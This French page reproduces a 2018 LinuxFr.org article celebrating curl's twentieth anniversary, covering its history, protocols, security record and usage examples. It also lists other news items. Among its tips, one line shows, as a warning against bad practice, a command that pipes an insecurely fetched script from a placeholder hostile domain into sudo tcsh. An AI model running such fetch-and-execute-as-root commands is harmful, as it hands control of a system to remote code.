Greboca  

Suport technique et veille technologique

Aujourd’hui, les grandes entreprises et administrations publiques hésitent entre continuer à utiliser des logiciels propriétaires ou basculer vers les Logiciels Libres. Pourtant, la plupart des logiciels libres sont capables de bien traiter les données issues des logiciels propriétaire, et parfois avec une meilleur compatibilité.

C’est alors la barrière de la prise en main qui fait peur, et pourtant...

Les logiciels libres

L’aspect « Logiciel Libre » permet une évolution rapide et une plus grande participation des utilisateurs. Les aides et tutoriels foisonnent sur Internet ou sont directement inclus dans le logiciel lui-même.

Enfin, les concepteurs sont plus proches des utilisateurs, ce qui rend les logiciels libres plus agréable à utiliser et conviviaux.

Grâce à la disponibilité des logiciels libres, vous trouverez facilement des services de support techniques et la licence n’est plus un frein à l’utilisation de ces logiciels par votre personnel.

Notre support technique concerne essentiellement les logiciels libres, que ce soit sous forme de services ponctuels ou de tutoriels.

DLFP - Dépêches  -  2018, curl a vingt ans

 -  Mars 2018 - 

Curl est l’exemple du logiciel utilisé partout, tellement omniprésent que l’on oublie d’en parler. Aucune dépêche ou journal LinuxFr.org dédié à ce logiciel, alors même qu’un de ses homonymes le langage Curl a eu le droit d’être mentionné en 2001. Tandis que le vénérable curl fête ses vingt ans, il est temps de réparer cet honteux oubli.

Curl (curl ou plutôt cURL pour « client URL request library ») se rapporte en fait à la bibliothèque libcurl et à l’outil en ligne de commande curl, permettant de faire des requêtes sur un réseau (pléthore de protocoles sont pris en charge). Écrits en C, ils existent sur une multitude de systèmes différents et la bibliothèque est utilisable depuis de nombreux (plus de 40) langages (C++, Java, .NET, Perl, PHP, Ruby, etc.).

Sommaire

Documentation et fonctionnalités

La documentation mentionne notamment :

  • les systèmes AIX, AmigaOS, Android, BeOS, BlackBerry Tablet OS, BlackBerry 10, OpenVMS, Darwin, DOS, FreeBSD, GNU/Linux, HP-UX, HURD, iOS, IRIX, macOS, NetBSD, NetWare, OpenBSD, OS/2, QNX Neutrino, RISC OS, Solaris, Symbian, Tru64, Ultrix, UnixWare, Windows (oui, même Windows) et d’autres ;
  • les protocoles DICT, FILE, FTP, FTPS, Gopher, HTTP dont HTTP/2, HTTPS, IMAP, IMAPS, LDAP, LDAPS, POP3, POP3S, RTMP, RTSP, SCP, SFTP, SMB, SMBS, SMTP, SMTPS, Telnet et TFTP ;
  • une utilisation dans les voitures, les télévisions, les routeurs, les imprimantes, les équipements audio, les téléphones mobiles, les tablettes, les lecteurs multimédia, etc. (et probablement des machines à café) ; voir aussi la page des utilisations commerciales de curl ;
  • la bibliothèque est thread‐safe, compatible IPv6, prend en charge de multiples bibliothèques cryptographiques (axTLS, GnuTLS, mbed TLS, NSS, QSOSSL sur IBM i, SChannel sur Windows, Secure Transport sur macOS et iOS, SSL/TLS via OpenSSL, wolfSSL), etc. Voir l’entrée de blog sur la gestion de TLS 1.3.

Histoire

Le développeur principal est Daniel Stenberg (employé par Mozilla, grand, suédois, grognon, comme il se décrit sur son blog).

En 1997, HttpGet 1.0 est publié le 8 avril 1997. Mais, rapidement, le HTTP n’est pas suffisant, la prise en charge de GOPHER est ajoutée, et urlget 2.0 est publié (après renommage, donc). Le get c’est bien, mais le logiciel fait plus, alors curl 4.0 est publié le 20 mars 1998, sous licence GPL (voir la page histoire du projet).
Logo cURL de 1998   Logo cURL de 1998, par Henrik Hellerstedt

  • octobre 1998 : curl 4.9 (passage en licence MPL, 4 000 lignes de code) ;
  • 1999 : curl 6.0 (15 000 lignes) ;
  • 2000 : libcurl apparaît (2 000 lignes) ;
  • 2001 : curl 7.5.2 (passage en licence MIT, 24 000 lignes) ;
  • 2002 : 35 000 lignes ;
  • 2003 : 45 000 lignes ;
  • 2005 : GnuTLS comme alternative possible à OpenSSL ;
  • etc. ;
  • 2017 : les chiffres du projet sont éloquents :
    • versions publiées de curl : 169,
    • options en ligne de commande : 211,
    • options curl_easy_setopt() : 249,
    • fonctions publiques dans libcurl : 74,
    • contributeurs : 1609 ;
  • 14 mars 2018 : dernière version publiée à ce jour, curl 7.59.0.

Facteurs de croissance sur les 20 ans du projet :

  • protocoles pris en charge : x7.67 ;
  • options en ligne de commande : x9 ;
  • lignes de code : x75 ;
  • contributeurs: x100 ;
  • visiteurs hebdo sur le site Web : x1.400 ;
  • utilisateurs finaux du code : x4.000.000 ;
  • autocollants avec le logo curl : infinité.

Logo

Sécurité

Comme déjà dit précédemment, de multiples bibliothèques cryptographiques sont prises en charge (et comparées). Mais c’est l’autre aspect de la sécurité (les failles et problèmes) que cette partie veut aborder. Un outil ayant autant de fonctionnalités que curl/libcurl connaît forcément des failles au cours de son existence. L’historique du projet le rappelle et une page dédiée recense d’ailleurs les 78 failles précédemment découvertes (ainsi que les procédures en place).

Le récent exemple de transparence dont a fait preuve D. Stenberg est à la fois à saluer, et à la fois un indicateur de l’importance du sujet pour le projet, ce qui est plutôt rassurant.

Exemples d’utilisation

On trouve très facilement et très souvent des exemples d’utilisation de curl et des tutoriels d’utilisation. En voici quelques‐uns :

Un accès basique à LinuxFr.org

Un exemple bateau/trivial d’accès à un site Web : TCP, puis TLS, puis HTTP, et hop une page Web :

$ curl -v -s https://linuxfr.org
(...)
* Connected to linuxfr.org (88.191.250.176) port 443 (#0)
(...)
* SSL connection using TLSv1.2 / ECDHE-RSA-AES128-GCM-SHA256
(...)
*  SSL certificate verify ok.
(...)

> GET / HTTP/1.1^M
> Host: linuxfr.org^M
> User-Agent: curl/7.58.0^M
> Accept: */*^M
> ^M
(...)
< HTTP/1.1 200 OK^M
< Server: nginx/1.2.1^M
< Date: Thu, 29 Mar 2018 09:23:22 GMT^M
< Content-Type: text/html; charset=utf-8^M
(...)

Curlception

curl https://curl.haxx.se/download/curl-7.59.0.tar.xz|tar xvJf - && cd curl-7.59.0 && ./configure && make && make check

Ceci qui a permis de remonter un bogue sur les locales dû au séparateur décimal qui était une virgule au lieu du point attendu dans la barre de progression pour le résultat final de 100,00 %.

Documentation d’Elastic (Elasticsearch, Logstash, Kibana, etc.)

Prenons cet extrait de la documentation du logiciel Elasticsearch expliquant comment modifier un document :
Extrait de la documentation Elasticsearch

La requête est affichée pour les développeurs et peut‐être copiée‐collée en tant que commande curl (curl -XPUT 'localhost:9200/twitter/_doc/1?pretty' -H 'Content-Type: application/json' -d'{"user" : "kimchy", "post_date" : "2009-11-15T14:12:12", "message" : "trying out Elasticsearch"}')

Blog de Stéphane Bortzmeyer

Des exemples variés d’utilisation, en français :

Installation de RVM

La procédure d’installation de RVM (Ruby Version Manager) utilise explicitement curl (reprise d’ailleurs dans la documentation d’installation du code de LinuxFr.org) :

\curl -sSL https://get.rvm.io | bash

Parrot.live

Cette commande permet d’amener la paix dans le monde et de sauver les oisillons dodo :

curl parrot.live

En vrac

  • attention aux mauvaises pratiques du type curl --insecure https://domainelouche.example.invalid/p0wn/service.csh|sudo tcsh ;
  • d’autres outils en ligne de commande dans la même catégorie : httpie, bat, wget, et le projet curl maintient un tableau comparatif évoquant aussi snarf, pavuk, fget, lftp, aria2, httrack. Une autre page décrit aussi les alternatives à libcurl ;
  • malgré deux changements de noms, le projet a divers homonymes, aussi bien comme noms propres (dont un prix Nobel et une marque de fringues et de sport) que comme mots courants en anglais (boucle/boucler), ce qui ne rend pas les recherches faciles sur son seul nom.

Commentaires : voir le flux atom ouvrir dans le navigateur

par Benoît Sibaud, ZeroHeure, Davy Defaud, Bruno Michel, palm123

DLFP - Dépêches

LinuxFr.org

Les langues peu documentées et le libre : quelques enjeux scientifiques

 -  7 mai - 

Comme beaucoup de domaines scientifiques, la documentation de la diversité linguistique entretient une relation forte avec les mondes du Libre. (...)


Lettre d'information XMPP de février 2024

 -  7 mai - 

NdT — Ceci est une traduction de la lettre d’information publiée régulièrement par l’équipe de communication de la XSF, essayant de conserver les (...)


Projets Libres! Episode 23 : financer le logiciel libre eu Europe

 -  7 mai - 

Pour ce nouvel épisode, nous plongeons dans le programme de financement européen Next Generation Internet - NGI Zero !Nous recevons Lwenn (...)


RootDB - une application web de reporting, auto-hebergée

 -  3 mai - 

Présentation rapide de RootDB, une application auto-hébergeable open-source (AGPLv3), permettant de générer des rapports à base de requêtes SQL. (...)


Libre Graphics Meeting 2024, les 9-11 mai, à Rennes, France

 -  30 avril - 

Le Libre Graphics Meeting (LGM) est la plus grande rencontre mondiale des logiciels libres de graphisme. Née en 2006 de la proposition de l’équipe (...)